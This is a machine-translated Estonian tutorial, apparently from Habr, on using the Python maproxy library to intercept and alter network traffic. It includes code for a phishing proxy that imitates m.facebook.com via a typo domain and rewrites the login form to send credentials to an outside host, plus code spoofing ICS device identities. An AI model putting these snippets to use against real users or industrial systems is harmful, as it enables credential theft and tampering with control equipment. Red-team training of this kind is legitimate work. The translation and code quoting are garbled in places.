Töötle vÔrguandmeid lennult

Artikli tÔlge valmis kursuse alguse eelÔhtul "Pentest. Tungimise testimise praktika".

Töötle vÔrguandmeid lennult

KokkuvÔte

Erinevat tĂŒĂŒpi turbehinnangud, alates tavapĂ€rasest lĂ€bitungimistestist ja Red Teami operatsioonidest kuni asjade Interneti/ICS-seadmete ja SCADA-ni hĂ€kkimiseni, hĂ”lmavad töötamist binaarsete vĂ”rguprotokollidega, st sisuliselt vĂ”rguandmete pealtkuulamist ja muutmist kliendi ja sihtmĂ€rgi vahel. VĂ”rguliikluse nuusutamine ei ole keeruline ĂŒlesanne, kuna meil on sellised tööriistad nagu Wireshark, Tcpdump vĂ”i Scapy, kuid muutmine nĂ€ib olevat töömahukam ĂŒlesanne, kuna meil peab olema mingi liides vĂ”rguandmete lugemiseks, filtreerimiseks ja muutmiseks. see lennult ja saatke see peaaegu reaalajas sihtrĂŒhmale tagasi. Lisaks oleks ideaalne, kui selline tööriist töötaks automaatselt mitme paralleelse ĂŒhendusega ja oleks skriptide abil kohandatav.

Ühel pĂ€eval avastasin tööriista nimega maproxy, tegi dokumentatsioon mulle selle kiiresti selgeks maproxy - just see, mida ma vajan. See on ĂŒsna lihtne, mitmekĂŒlgne ja hĂ”lpsasti konfigureeritav TCP-puhverserver. Testisin seda tööriista mitmes ĂŒsna keerukas rakenduses, sealhulgas ICS-seadmetes (mis genereerivad palju pakette), et nĂ€ha, kas see saab hakkama paljude paralleelsete ĂŒhendustega, ja tööriist toimis hĂ€sti.

See artikkel tutvustab teile vÔrguandmete kiiret töötlemist maproxy.

Vaadata

Vahend maproxy pĂ”hineb Tornadol, Pythoni populaarsel ja kĂŒpsel asĂŒnkroonsel vĂ”rguraamistikul.

Üldiselt vĂ”ib see töötada mitmes reĆŸiimis:

  • TCP:TCP - krĂŒptimata TCP-ĂŒhendused;
  • TCP:SSL Đž SSL:TCP – ĂŒhesuunalise krĂŒptimisega;
  • SSL:SSL - kahesuunaline krĂŒptimine.

See tuleb raamatukoguna. Kiireks alustamiseks vÔite kasutada nÀidisfaile, mis kajastavad peamist raamatukogu funktsioonid:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Juhtum 1 – lihtne kahesuunaline puhverserver

PÔhineb tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Vaikimisi ProxyServer() vĂ”tab kaks argumenti – ĂŒhenduse asukoht ja sihtport. server.listen() vĂ”tab ĂŒhe argumendi - sissetuleva ĂŒhenduse kuulamise porti.

Skripti tÀitmine:

# python tcp2tcp.py

Testi kĂ€ivitamiseks loome puhverserveri skripti kaudu ĂŒhenduse kohaliku SSH-serveriga, mis kuulab 2222/tcp porti ja ĂŒhendub standardpordiga 22/tcp SSH serverid:

Töötle vÔrguandmeid lennult

TervitusbÀnner teavitab teid, et meie nÀidisskript on edukalt vÔrguliiklust puhverserveris edastanud.

Juhtum 2 – andmete muutmine

Veel ĂŒks demo skript logging_proxy.py ideaalne vĂ”rguandmetega suhtlemiseks. Faili kommentaarid kirjeldavad klassi meetodeid, mida saate oma eesmĂ€rgi saavutamiseks muuta:

Töötle vÔrguandmeid lennult

KÔige huvitavam on siin:

  • on_c2p_done_read – andmete pealtkuulamiseks teel kliendilt serverisse;
  • on_p2s_done_read - vastupidine.

Proovime muuta SSH bÀnnerit, mille server kliendile tagastab:

[
]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[
]

KĂ€ivitage skript:

Töötle vÔrguandmeid lennult

Nagu nÀete, eksitati klienti, kuna tema jaoks muudeti SSH-serveri nimi «DumnySSH».

Töötle vÔrguandmeid lennult

3. juhtum – lihtne andmepĂŒĂŒgi veebileht

Selle tööriista kasutamiseks on lÔputult palju vÔimalusi. Seekord keskendume millelegi praktilisemale Red Teami operatsioonide poolelt. Imiteerime sihtlehte m.facebook.com ja kasutage kohandatud domeeni tahtliku kirjaveaga, nÀiteks m.facebok.com. Demonstreerimiseks oletame, et domeen on meie poolt registreeritud.

Loome krĂŒptimata vĂ”rguĂŒhenduse oma ohvrite puhverserveri ja SSL-vooga Facebooki serverisse (31.13.81.36). Selle nĂ€ite toimimiseks peame asendama HTTP hosti pĂ€ise ja sisestama Ă”ige hostinime ning keelame ka vastuse tihendamise, et saaksime sisule hĂ”lpsasti juurde pÀÀseda. LĂ”ppkokkuvĂ”ttes asendame HTML-vormi nii, et sisselogimismandaadid saadetakse Facebooki serverite asemel meile:

[
]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[
]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/et/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[
]

KokkuvÔttes:

Töötle vÔrguandmeid lennult

Nagu nÀete, suutsime algse saidi edukalt asendada.

Juhtum 4 – Etherneti/IP portimine

Olen juba mĂ”nda aega tegelenud tööstusseadmete ja tarkvaraga (ICS/SCADA), nagu programmeeritavad kontrollerid (PLC), I/O moodulid, ajamid, releed, redelprogrammeerimiskeskkonnad ja palju muud. See ĂŒmbris on neile, kellele meeldivad tööstuslikud asjad. Selliste lahenduste hĂ€kkimine hĂ”lmab aktiivset vĂ”rguprotokollidega mĂ€ngimist. JĂ€rgmises nĂ€ites tahaksin nĂ€idata, kuidas saate muuta ICS/SCADA vĂ”rguliiklust.

Selleks vajate jÀrgmist.

  • vĂ”rgu nuusutaja, nĂ€iteks Wireshark;
  • Ethernet/IP vĂ”i lihtsalt SIP-seade, leiate selle Shodani teenuse abil;
  • Meie skript pĂ”hineb maproxy.

KĂ”igepealt vaatame, milline nĂ€eb vĂ€lja tĂŒĂŒpiline CIP-i (Common Industrial Protocol) identifitseerimisvastus:

Töötle vÔrguandmeid lennult

Seadme identifitseerimine toimub Ethernet/IP-protokolli abil, mis on tööstusliku Etherneti protokolli tÀiustatud versioon, mis hÔlmab juhtprotokolle nagu CIP. Muudame esiletÔstetud ID-nime, mis on ekraanipildil nÀhtav "NI-IndComm Etherneti jaoks" kasutades meie puhverserveri skripti. VÔiksime skripti uuesti kasutada logging_proxy.py ja samamoodi muuta klassi meetodit on_p2s_done_read, sest soovime, et kliendil oleks nÀha teistsugune identiteedinimi.

Kood:

[
]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[
]

Sisuliselt kĂŒsisime seadme tuvastamist kaks korda, teine ​​vastus oli algne ja esimest muudeti kĂ€igu pealt.

Ja viimane

Minu arvates maproxy Mugav ja lihtne tööriist, mis on kirjutatud ka Pythonis, nii et usun, et ka teile on selle kasutamisest kasu. Muidugi on vĂ”rguandmete töötlemiseks ja muutmiseks keerukamaid tööriistu, kuid need nĂ”uavad ka rohkem tĂ€helepanu ja on tavaliselt loodud konkreetse kasutusjuhu jaoks, nt. Muraena, Modlishka vĂ”i evilginx kolmandaga sarnaste juhtumite puhul vĂ”i canape viimase juhtumi jaoks. Ühel vĂ”i teisel viisil, abiga maproxy saate kiiresti rakendada oma ideid vĂ”rguandmete pealtkuulamiseks, kuna nĂ€idisskriptid on vĂ€ga selged.

Autentimismehhanismide testimine Windows AD

Allikas: www.habr.com

Ostke DDoS-kaitsega saitide jaoks usaldusvÀÀrne hostimine, VPS VDS-serverid đŸ”„ Osta usaldusvÀÀrne veebimajutus DDoS-kaitsega, VPS VDS serverid | ProHoster